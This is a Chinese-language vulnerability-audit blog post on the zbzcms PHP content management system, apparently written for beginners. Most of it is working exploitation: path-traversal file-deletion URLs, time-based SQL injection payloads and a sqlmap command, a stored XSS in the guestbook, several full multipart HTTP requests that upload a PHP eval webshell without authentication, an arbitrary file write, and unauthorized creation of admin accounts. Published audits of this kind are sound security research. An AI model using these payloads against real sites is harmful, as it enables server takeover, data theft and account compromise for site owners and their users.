也是源自于闲来无事 在之前逛cnvd的时候 发现的cms 然后下下来了一直没审
现在也是审了一下
cms也比较老了 有段时间没更新了
也没用很难 供新手学习(篇幅有点长)
下载地址:http://zbzcms.com/
工具:seay phpstorm phpstudy
还是老方法 先用审计工具跑一波
还是现看看首页长什么样子
是一个智能家居网站
然后逐步分析 工具跑步来的漏洞
我们点进去查看详细
发现没有做任何的校验判断
$run从上面发现 也是通过GET传的
通过审计工具也可以直接看到路径
/zbzcms.com/cms/cms/include/up.php?run=del
那我们来构造一下
先在up.php同目录下创建一个txt
构造一下
执行后页面返回1
然后查看文件夹
成功删除
我们在上一级目录在创建一个2.txt
然后构造执行
也成功删除
点进去详细查看
这里没有做过滤 我们到phpstorm里面看sql文件
在这个文件中可以看到 是有一个处理函数的 但是只针对 insert 和update
select查询函数并没有处理和其他的过滤 可直接导致注入 进行 延时注入
直接丢sqlmap跑了 payload:
python sqlmap.py -u "http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1" -p id
差不多和上面的一样功能点 从代码上看
也是get传参 调用select函数 没有任何过滤
路径127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1
直接构造payload了:127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)
也是可以延时盲注的
根跟进查看
这直接妥妥的注入了 啥防护都没有
直接构造payload:http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1%20and%20sleep(5
就不丢sqlmap演示了
我们跟进代码
这里的问题出现在tid这个参数
通过前面我们可以看到 如果if判断失败的话 进入else if 通过获取get传参 然后传入sql语句 这里也是没有任何防范
但是这里需要简单闭合一下阔号
我们构造payload:
http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1
这里tid参数的值还是有点点讲究 必须和数据库里面存的tid值其中之一是一样的
这个是在发现注入的时候看见的
这处留言的地方
问题出现在neirong这个参数没有经过任何过滤就输出到了页面 并且还存入了数据库 所以导致后台查看的时候直接执行了
这出xss需要用POST的请求方法 因为从代码上可以看到 if的判断条件是$_POST 不为空
然后我们来到页面构造xss
执行之后 我们登入后台来查看留言
查看详情也是直接就弹
F12查看代码 语句也加载进来了
从路径可以发现是后台的 (但没影响 后面发现有api路径 就是任意上传)
啥过滤 判断都没有 直接传
因为刚开始麻烦找payload数据那些 就在后台去找了一下上传点抓包
上传的时候抓包
然后复制返回的路径 拼接到url上打开
也是成功执行
整体payload:url路径:/zbzcms.com/cms/cms/admin/ajax.php?run=youad_pic
参数:
------WebKitFormBoundary1yVpo1vIVcMvlXNA
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundary1yVpo1vIVcMvlXNA--
来到phpstorm 可以发现没有任何的过滤
直接获取到路径这些就上传
那我们直接构造payload:
POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/admin/type.php?id=1&dq=3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--
我们的访问地址:http://192.168.1.7/zbzcms.com/cms/upload/up/16422582210.php 因为有两个../嘛 所以路径变了
在这个upload.php文件下
这里也是没有做任何的过滤
name为1的时候 也跳过了下面的后缀判断
直接构造payload:
也是成功写入
在另一个路径下http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/php/zbz.php
我们来看代码
进行了一些花里胡哨的操作 主要的问题 还是没有任何过滤和限制
通过path和path_res控制路径
data_pic_name 控制文件名0改名1不改
然后就是上传了
那就直接构造payload:
POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=../../../upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1
Host: 192.168.1.7
Content-Length: 238
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQy3ayf3rnYVYcEcG
Origin: http://192.168.1.7
Referer: http://192.168.1.7/zbzcms.com/cms/cms/zbzedit/edit.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close
------WebKitFormBoundaryQy3ayf3rnYVYcEcG
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
herman
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryQy3ayf3rnYVYcEcG--
成功上传
本来这个是在看上传的 结果看到 一个文件保存的地方 存在一个经典的文件写入函数file_put_contents
然后就分析了一波 发现是存在任意文件写入的
这里首先是判断的run参数 然后获取post传参的值 然后判断魔术引号那个设置是否开启 相当于放注入一些转义的功能
如果开启 在用stripslashes() 函数把反斜杠删去
然后下面就直接写入了
当时这个文件是在admin目录下 相当于后台的 但是通过上面的权限控制发现 可以直接绕过 这登录判断相当于就没有
我们来看上面判断登录的代码
通过run参数的值来判断 这不搞笑嘛 run不等于这个值不久 直接不判断了 直接执行下面的
好了 现在来构造payload:
执行之后
也是成功的写入 以及访问到
如果get_magic_quotes_gpc()函数开启的话 写马就需要用没有引号的马子
还是这个文件
有一个add 操作 没有指定表
可直接任意指定表 我们往admin表添加一个用户
构造payload
执行之后
也是成功的添加进来
未授权删除 修改
逻辑都一样
这里延续上面的文件上传3的 upload文件
这里存在if else判断 没进入上传的条件的话 就执行下面的删除操作
也是没有任何过滤 直接通过传参del跟上路径 直接任意删除 我们先在目录下创建一个1.txt
在上一级目录下创建 然后我们构造payload 删除
http://192.168.1.7/zbzcms.com/cms/cms/include/upload.php?del=../1.txt
也是成功删除
问题出现在这个文件 这个文件夹前面我们也分析过 这里漏了一个管理员添加
也是直接构造run参数 未授权添加
然后查看数据库
但是发现这个时候 是没有等级的 相当于权限 也就等不进去
但是这个文件前面有一个判断是判断是否登录的
我们先通过login 来得到session
直接构造
注意 这里是pwd
然后将这个路径http://192.168.1.7/zbzcms.com/cms/cms/admin/复制到 url
回车即可
还有一种方式
在添加管理员的时候 把等级参数 填上
然后查看数据库
刚添加的abc 权限为1
直接登录
如果有什么说的不好的地方请师傅们指出~
8 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!